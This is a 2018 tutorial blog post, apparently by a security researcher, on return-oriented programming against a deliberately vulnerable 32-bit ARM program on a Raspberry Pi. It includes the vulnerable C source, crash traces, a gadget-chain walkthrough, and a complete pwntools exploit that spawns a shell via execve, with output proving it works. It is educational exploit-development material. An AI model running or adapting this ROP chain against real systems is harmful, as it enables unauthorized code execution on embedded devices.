Posted on May, 2018


ROP without returns on ARM


I know it's been a while I've not posted new tricks. So let's return with a new return oriented programming post based on ARM architecture. There are many tutorial that explains how to perform return oriented programming on the x86 architecture. The principle is almost the same for the ARM architecture. To perform return oriented programming you need to fully understand how the ARM architecture works. Azeria Labs is a well known site which is well written and teachs very cool tricks based on ARM. In this article we are going to exploit a 32 bits buffer overflow on a Raspberry Pi. We will defeat at the same time the ASLR and the NX bit protection.

ARM is mainly used for Embedded Systems and Smartphones working with Linux Kernel, RTOS and even Bare-Metal applications. Next article Bare-metal based ROP ?

I will work from Kali linux in ssh on my pi. Hey! Stop talking! let's go deep into exploitation.

First make sure that the ASLR is enabled on your system. If so, you will see that

$ cat > /proc/sys/kernel/randomize_va_space
2

If not, enable it:

$ sudo echo '2' > /proc/sys/kernel/randomize_va_space

Here is the damn vulnerable program, notice that he accepts NULL BYTES due to the fgets function.


#include<stdio.h>
#include<string.h>

void vuln(){

        char vulnbuff[16];

        gets(vulnbuff);
	getc(stdin);
}


int main(){

        printf("vulnerable function\n");
        vuln();
        printf("Never return\n");

return 0;

}

Compiled it on your raspberry pi with the following Makefile

all:

gcc -o vuln vuln.c -fno-stack-protector  -Wl,-z,relro,-z,now,-z,noexecstack -static

Now you have a vulnerable executable. If you are here, I think you can easily guess that the padding is 20. Let's check it

$ echo $(python -c 'print("A"*20 + "D"*4)') | strace  ./vuln
execve("./vuln", ["./vuln"], [/* 18 vars */]) = 0
uname({sys="Linux", node="raspberrypi", ...}) = 0
brk(0)                                  = 0x1bc2000
brk(0x1bc2d00)                          = 0x1bc2d00
set_tls(0x1bc24c0, 0x97f0c, 0, 0x1bc24c0, 0x10) = 0
readlink("/proc/self/exe", "/home/pi/Documents/exploits/ROPc"..., 4096) = 41
brk(0x1be3d00)                          = 0x1be3d00
brk(0x1be4000)                          = 0x1be4000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x76ff2000
write(1, "vulnerable function\n", 20vulnerable function
)   = 20
fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x76ff1000
read(0, "AAAAAAAAAAAAAAAAAAAADDDD\n", 4096) = 25
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x44444444} ---
+++ killed by SIGSEGV +++
Segmentation fault

Perfect! Let's have a look on the available gadgets.

As revealed by ROPgadget we have more than 10.000 gadgets:

Building a ROPchain on ARM is a good exercise. The principle is not the same as x86 architecture. Indeed all the gadgets are ending with pop{pc}, which is equivalent of the "ret" instruction (x86). But you have also interesting gadets (b,blx) that allow you to branch at an address.

Launching a shell on ARM architecture is fairly simple with gadgets. The only thing you have to do is putting the "/bin/sh" address in the r0 register, putting NULL in both r1 and r2. Finally the r7 register will contains the syscall number which for execve is 0xB.

To be simple, I kept the same idea as the intel ROP exploit article. I decided to write the "/bin/sh" string in the data section. This section is static so I can easily control its address without beeing worry about the ASLR.

Also my ropchain is adapted to the gadgets that I found in the binary. I did'nt use any trampoline techniques. I will dedicate an article on that.

Here is the overview of the ROPchain for the exploitation

ROPchain steps

  • The first gadget sets the registers r4, r5, r6, r7, r8 and pc (program counter for the next gadget). r4 handles the address of the data section, r5 handles an address of a futur gadget, r6 is NULL and r7 handles the syscall number.
  • The second gadget sets the r2 register at NULL. Then, we branch to the register r5 that handles the gadget 3 address.
  • The third gadget pop "/bin" in r3
  • The gadget 4 copies "/bin" in the data section handled by r4. And updates the address of the data section in r4
  • The gadget 5 pop "/sh\0" in r3
  • The gadget 6 copies "/sh\0" in the data section handled by r4. And updates r4 to NULL
  • The gadget 7 sets the register r1 to NULL
  • The gadget 8 sets the register r0 to the data section and r4 to NULL
  • Finally the SVC instruction triggers the syscall
  • By translating the previous picture to python it gives:

    #!/usr/bin/python
    
    from pwn import *
    
    context.arch = "arm"
    
    p = 'A'*20
    p += p32(0x0006e324) # mov r1, #0 ; pop {r4, r5, r6, r7, r8, pc}
    p += p32(0x00098000) # r4 --> @data
    p += p32(0x00010160) # r5 --> pop {r3, pc}
    p += p32(0x00000000) # r6 --> don't care
    p += p32(0x0000000b) # r7 --> syscall nb
    p += p32(0x00000000) # r8 --> don't care
    p += p32(0x00028024) # 0x00028024 : mov r2, r6 ; blx r5 setting r2 at NULL
    p += "/bin"          # in r3
    p += p32(0x0001ac0c) # 0x0001ac0c : str r3, [r4] ; pop {r4, pc} --> in the data
    p += p32(0x00098004) # inc @datd in r4
    p += p32(0x00010160) # pop {r3, pc}
    p += "/sh\0"         # in r3
    p += p32(0x0001ac0c) # str r3, [r4] ; pop {r4, pc} --> in the data
    p += p32(0x00000000) # don't care of r4
    p += p32(0x0006e00c) # 0x0006e00c : pop {r1, pc}
    p += p32(0x00000000) # don't care of r4
    p += p32(0x00025c9c) # 0x00025c9c : pop {r0, r4, pc}
    p += p32(0x00098000) # addr of /bin/sh in r0
    p += p32(0x00000000) # still NULL in r4
    p += p32(0x0004da78) # svc supervisor syscall
    
    s = ssh(host='Iwillgivemypass.net', port=22, user='pi', password='really?')
    process = s.process(['/home/pi/Documents/exploits/ROPchain/./vuln'])
    
    print process.recvuntil("function")
    process.sendline(p)
    process.interactive()

    It works well from Kali:)!

    # ./sploit.py 
    [+] Connecting to Iwillgivemypass.net on port 22: Done
    [!] Couldn't check security settings on 'Iwillgivemypass.net'
    [+] Starting remote process '/home/pi/Documents/exploits/ROPchain/./vuln' on Iwillgivemypass.net: pid 10584
    vulnerable function
    [*] Switching to interactive mode
    
    $ $ id
    uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
    Presentation
    Cyril Bresch is graduated from the Grenoble Institute of Technology, Esisar school in computer engineering. He is now a Phd Student within the LCIS lab from Univ. Grenoble Alps and Grenoble Institute of Technology in Valence, France. His research interests are computer security and processor architecture security.

    Second place a CSAW 2k16 NYU :)
    IEEE publication : "A Red Team Blue Team approach Towards a Secure Processor Design With a Hardware Shadow Stack"

    You can contact me at cyril[dot]bresch[dot]fr[at]gmail[dot]com